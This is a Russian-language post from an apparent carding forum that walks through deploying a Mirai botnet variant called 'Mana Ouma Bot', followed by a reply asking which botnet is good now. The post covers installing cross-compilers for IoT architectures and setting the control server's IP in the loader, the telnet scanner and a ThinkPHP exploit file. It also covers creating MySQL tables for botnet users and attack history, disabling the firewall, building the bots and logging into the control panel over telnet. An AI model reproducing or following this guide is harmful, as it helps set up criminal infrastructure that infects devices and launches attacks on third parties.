Устанавливаем Mirai BotNet

Carder

Professional
Messages
2,619
Reputation
7
Reaction score
1,640
Points
113
Привет!

Данный ботнет написан на языке C & GO.

Необходимости

1. Сервер на CentOS 6.* (не выше 6, могут быть ошибки)

2. PuTTy + mobaXterm

Суть:​

Обновление и установка

Code:
sudo su

yum update -y

yum install epel-release -y

yum groupinstall "Development Tools" -y

yum install gmp-devel -y

ln -s /usr/lib64/libgmp.so.3 /usr/lib64/libgmp.so.10

yum install screen wget bzip2 gcc nano gcc-c++ electric-fence sudo git libc6-dev httpd xinetd tftpd tftp-server mysql mysql-server gcc glibc-static -y

mkdir /etc/xcompile

cd /etc/xcompile

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2

wget https://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-armv7l.tar.bz2

tar -jxf cross-compiler-i586.tar.bz2

tar -jxf cross-compiler-m68k.tar.bz2

tar -jxf cross-compiler-mips.tar.bz2

tar -jxf cross-compiler-mipsel.tar.bz2

tar -jxf cross-compiler-powerpc.tar.bz2

tar -jxf cross-compiler-sh4.tar.bz2

tar -jxf cross-compiler-sparc.tar.bz2

tar -jxf cross-compiler-armv4l.tar.bz2

tar -jxf cross-compiler-armv5l.tar.bz2

tar -jxf cross-compiler-armv6l.tar.bz2

tar -jxf cross-compiler-armv7l.tar.bz2

rm -rf *.tar.bz2

mv cross-compiler-i586 i586

mv cross-compiler-m68k m68k

mv cross-compiler-mips mips

mv cross-compiler-mipsel mipsel

mv cross-compiler-powerpc powerpc

mv cross-compiler-sh4 sh4

mv cross-compiler-sparc sparc

mv cross-compiler-armv4l armv4l

mv cross-compiler-armv5l armv5l

mv cross-compiler-armv6l armv6l

mv cross-compiler-armv7l armv7l

cd /tmp

wget https://dl.google.com/go/go1.13.5.linux-amd64.tar.gz

tar -xvf go1.13.5.linux-amd64.tar.gz

mv go /usr/local

export GOROOT=/usr/local/go

export GOPATH=$HOME/Projects/Proj1

export PATH=$GOPATH/bin:$GOROOT/bin:$PATH

go version

go env

cd ~/

go get github.com/go-sql-driver/mysql

go get github.com/mattn/go-shellwords

С этим разобрались. Далее изменим настройки ботнета под себя.

Что требуется заменить?

Заменить IP адреса на свои.

В файле /dlr/main.c (строка 6, так-же заменить точки в IP запятой)

В файле /stuff/thinkphp.c (строка 277)

В файле /stuff/stuff/includes.h (строка 25, 26 (20 не трогайте))

В файле /telnet/src/headers/config.h (строка 3, 6)

В файле ui/m.go (строка 10, заменить IP, 11 логин от MySQL, 12 пароль, от MySQL, 13 название БД (MySQL мы настроем позже)

Такс... это понятно! Давайте настроим MySQL.

Настройка MySQL

Code:
service mysqld start

mysql_secure_installation

1. Нажимаем Enter, и ставим пароль от root (такой-же как мы указывали в ui/m.go).

2. Далее везде отвечаем Y.

После того как сделали, можно настроить базу данных.

Создание БД

Code:
mysql -u root -p

И вводим пароль который мы установили.

Code:
use mysql

GRANT ALL ON *.* to root@'%' IDENTIFIED BY 'PASS';

FLUSH PRIVILEGES;

CREATE DATABASE Mana;

use Mana;

CREATE TABLE `history` (

`id` int(10) unsigned NOT NULL AUTO_INCREMENT,

`user_id` int(10) unsigned NOT NULL,

`time_sent` int(10) unsigned NOT NULL,

`duration` int(10) unsigned NOT NULL,

`command` text NOT NULL,

`max_bots` int(11) DEFAULT '-1',

PRIMARY KEY (`id`),

KEY `user_id` (`user_id`)

);

CREATE TABLE `users` (

`id` int(10) unsigned NOT NULL AUTO_INCREMENT,

`username` varchar(32) NOT NULL,

`password` varchar(32) NOT NULL,

`duration_limit` int(10) unsigned DEFAULT NULL,

`cooldown` int(10) unsigned NOT NULL,

`wrc` int(10) unsigned DEFAULT NULL,

`last_paid` int(10) unsigned NOT NULL,

`max_bots` int(11) DEFAULT '-1',

`admin` int(10) unsigned DEFAULT '0',

`intvl` int(10) unsigned DEFAULT '30',

`api_key` text,

PRIMARY KEY (`id`),

KEY `username` (`username`)

);

CREATE TABLE `whitelist` (

`id` int(10) unsigned NOT NULL AUTO_INCREMENT,

`prefix` varchar(16) DEFAULT NULL,

`netmask` tinyint(3) unsigned DEFAULT NULL,

PRIMARY KEY (`id`),

KEY `prefix` (`prefix`)

);

REPLACE INTO users VALUES (NULL, 'LOGIN', 'PASS', 0, 0, 0, 0, -1, 1, 30, '');

CREATE TABLE `logins` (

`id` int(11) NOT NULL,

`username` varchar(32) NOT NULL,

`action` varchar(32) NOT NULL,

`ip` varchar(15) NOT NULL,

`timestamp` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP

) ENGINE=InnoDB DEFAULT CHARSET=latin1;

exit;

Просто скопируйте это, и вставьте в терминал.

Замените PASS во 2 строке, вставив туда пароль от root.

В строке REPLACE INTO users, замените LOGIN и PASS, логином и паролем для доступа в панель управления.

С базой данных разобрались.

Осталось перекинуть файлы в директорию /root.

И ввести еще несколько команд.

Команды

Выключим службы которые могут нам мешать.

Code:
service iptables stop

Перезапустим службы.

Code:
service httpd restart

service mysqld restart

Готово!

Если вы перекинули файлы, то можно запускать наш ботнет!

для этого введем данные команды:

Code:
cd ~/

chmod 0777 * -R

sh build.sh

После этого отредактируем файл /usr/include/bits/typesizes.h

Пишем:

Code:
nano /usr/include/bits/typesizes.h

Спускаемся в самый низ, и заменяем 1024 на 999999.

Для запуска ботнета пишем:

Code:
screen ./ui

После этого в терминале должна появиться надпись:

[ Mana Ouma Bot Mirai Variant ]

Если эта надпись появилась, поздравляю, вы все сделали правильно!

Нажимаем CTRL + A + D, что-бы свернуть.

Вот и все! Вы установили данный ботнет!​

Как подключится?

1. Открываем PyTTy.

2. Вводим ваш IP и порт 1791.

3. Ставим тип соединения: Telnet.

Подключаемся.

Вводим ваш логин и пароль.
 

Feyes

Carder
Messages
67
Reputation
0
Reaction score
36
Points
18
А какой сейчас ботнет хороший?
 
Top